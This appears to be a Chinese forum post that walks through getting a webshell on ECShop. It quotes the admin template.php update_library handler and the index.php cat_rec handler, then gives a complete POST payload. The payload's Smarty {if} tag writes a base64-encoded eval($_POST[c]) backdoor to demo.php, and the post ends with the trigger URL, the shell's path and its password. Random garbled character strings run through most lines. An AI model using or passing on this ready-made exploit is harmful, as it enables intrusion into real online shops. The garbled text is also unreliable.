首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
7 t6 ]" _, _- B0 S+ U
( {( T% {- l& I) |2 E* P- Z* m3 W而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了
2 C- t: _$ ]- w! J j7 ?" U7 T但是ecshop似乎不支持{php}{/php}这个标签来执行php代码% y* |" a4 O/ Z+ a8 [. G7 m( @
admin/template.php) O8 X1 L0 R& b. m. F( d3 ^
* r) M( ]/ P/ S& L$ Y6 F( N, ~% h% l1 if ($_REQUEST['act'] == 'update_library')
# `% i+ N* G7 H: V4 f5 z+ U0 L# C% N' E- d2 ~. l% q
2
. F/ \5 P# }- c! Y$ t
$ Z5 j) q' W @5 ]6 f3 { 1 i$ r; i% c. Y
9 Y3 T0 ^7 U! Z4 A
4 check_authz_json('library_manage');
* N% P |2 p# l: B( F
. z0 J3 @3 c* {; B D% h* Z* S5
0 v+ { L, m/ W) N& |! _' J1 T) F
- t6 x2 ~: `: D6 ~( A6 $html = stripslashes(json_str_iconv($_POST['html'])); % l: w5 Z4 R8 k* X3 P/ A0 R) o
) E! f* j% x/ {
7
* r! k! Q7 H6 X. e9 i1 ^* c d* C0 t6 K9 g
8 $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件 0 \0 s; s" P% d% M- I; h
& U* K( C: }6 W b9 , N* O( j) j; B7 }
+ |- K4 v3 k8 w3 b0 ]2 V! K6 L8 m; u
10 $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符
: y5 b. i3 I# d: j) N; @& w% {+ N& H4 {9 H8 ?/ z
11
2 q% J* {) s: x! ]& }$ N: P4 t( d4 {$ q# n* s: x
12 $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));
/ z; N3 A5 |# _9 j' l
; o" P& y9 n* c. C9 y% t13
% A }( }4 R* ^( n$ z- W; @5 }# M5 O7 C% e1 S! ?
14 if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出
( f) w' l0 X2 \# H' F: F8 K) [* D1 T6 N$ j3 W$ h J. o" w' U0 j4 |+ Q
15 { , m1 @- O/ c+ g( H) `3 a! A
- e: M( m" u8 k6 D0 Q7 B. E
16 @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);
6 v3 w" b; d! m; F$ b" J% |2 t& h7 Y8 L! k% E% m
17 make_json_result('', $_LANG['update_lib_success']); 4 b0 l& N: x) H1 k
5 B+ z; G9 p; t2 ?# {
18 }
) t, \( ^ A) |% r* y, I$ } i
1 Y* E6 C, y3 c19 else
$ }7 B1 r& m* _ ~; q3 S+ a; k. j f! F% ~; f
20 { ' e7 w( G) i ]% u1 K% g
. ]* h3 Y; D+ q: t" C21 make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library')); 4 N$ Q8 k( {0 w
! w& g( R( }! b: b& S" [22 } ( A, j* i% ?" _/ E& _
% V3 b& t0 Z9 O
23 } : n8 y$ V0 H/ i) n, `* z3 T
5 w; y8 n& [# F- _
那么找个比较方便调用了模板的文件0 N0 T, L6 d3 S8 i9 ?
index.php
9 `; u% k" y- Y! F! Q# }) E
% L* @* B4 s! b/ P5 W8 g6 K2 R0 m' K1 if ($act == 'cat_rec') ; F n1 D# N% t
, m0 q+ O5 x, p6 j
2
1 Z( F4 r+ z( V: z& w6 A6 i
) B [. R2 ^, p- o$ Q4 N3 { ' H y) _) J$ T6 N1 c
) Z& t7 y& w4 j+ J1 p
4 2 ]) c( C. H/ N* |% ~: u% L/ Y
: L* C0 n- m; U! Z8 W. R
5 $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot'); 4 i/ D% Z( u" j% X' }
5 Q% C/ B2 E4 \3 _; t
6
8 j- _2 R2 E. E$ _; A: g u/ D: Q. I1 @
7 $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1'; 1 r; i* T+ B i- X3 W( U
& q; H' Y# \. y) h
8
, G4 ?3 o/ ~2 ?2 w- y9 U* s2 x( G! r, p" w8 d F) {
9 $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';
+ \* a* g2 \4 `2 S) I0 Y/ _3 e8 B3 h4 Q5 S C& S$ U
10
) `- N* ^ o7 j( f/ s3 C6 i
( @3 V1 o1 t+ k ^11 include_once('includes/cls_json.php'); ( X1 b4 E$ @/ z! Z+ T
9 U7 J' d7 n: M+ G0 x# Z12
}# O9 T& c7 C7 f* G8 H
4 ~% A2 n; s7 m8 k13 $json = new JSON;
+ p5 X1 x2 n: T W7 i R6 q* i, ?7 Z6 i
14 ! \9 X- w+ I k
1 ^" e" x8 b" l& w
15 $result = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);
! p) N0 X* @) I0 s& h* F# I/ Y' n q b4 @
16
2 b) _+ U( a" U
( k2 c5 B s6 [+ v7 @17 $children = get_children($cat_id); ( w0 e9 f2 C6 c. g, F
8 H3 ]8 L+ D0 {
18
5 N$ T( D8 I9 H2 W. R8 m c7 `0 k2 k4 S$ f+ h. f" K
19 $smarty->assign($rec_array[$rec_type] . '_goods', get_category_recommend_goods($rec_array[$rec_type], $children)); // 推荐商品
/ f) A$ Z: ^! B: L2 S, ^& E9 X2 J( i. F9 _& l% C
20 8 f1 Q, N) _8 B0 g ?
" b7 p7 h9 t0 k
21 $smarty->assign('cat_rec_sign', 1);
, P: X' I* b: o* r0 I* t: p
4 z4 ^6 T6 I- R22
9 B: u+ ^4 H& o0 O8 z* |3 b6 l; d2 ` D1 S
23 $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best
) X7 D y% M) `: p) ^( Z; [$ N/ f V* _
24
7 }! e5 R' Q* v9 [
' N4 p7 [/ M: P! D% ^6 m& a25 echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi'; 0 I' M0 p2 {# X! u. f% k
9 h6 `$ B% t: |) z
26
, a' {; m8 {# o3 K$ c. F. }9 {/ r5 L, O
27 echo $rec_array[$rec_type]; ) ~1 }' l4 s+ i& A% Z7 G p
/ ~$ x* M, w8 l' Y
28 & Y8 C' S- F, ^9 w
( l: @0 E8 P& l* m2 L G& _ J29 die($json->encode($result)); & Q R$ N! Q' s3 d7 O
) D4 @+ s/ T! `; o7 S9 U7 O$ l30 ( Z) L5 u4 H6 n
) z/ L9 l6 m; `* @
31 }
: [. c7 z7 b6 z0 X3 q2 `* o
+ }3 C# p y, l L1 h) Q那么就有利用方法了7 a. N+ i$ d) f6 i# v
post包到http://localhost/ec/admin/template.php?act=update_library: P7 \- S/ I2 e5 {3 A5 i$ f
Post内容:! p% h3 e1 Y7 ^( Y' Q
+ A$ C" v& {- y% ^9 z: B, b/ y& o$ ~, G6 t$ k( F' f
1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if} * `5 \/ e; X+ Q2 V1 e
0 K' u5 D0 C2 m3 I. N然后访问http://localhost/ec/index.php?act=cat_rec5 j# W5 L- L0 f0 y/ ?8 z
! U. }% N% }& O1 h2 Fshel地址:http://localhost/ec/demo.php2 {; D8 d6 U' d6 }+ n
密码c' D; a3 o6 [) H' T* f1 y/ c) k
k0 r' d, w/ P" T2 ]. j3 g3 V$ O
|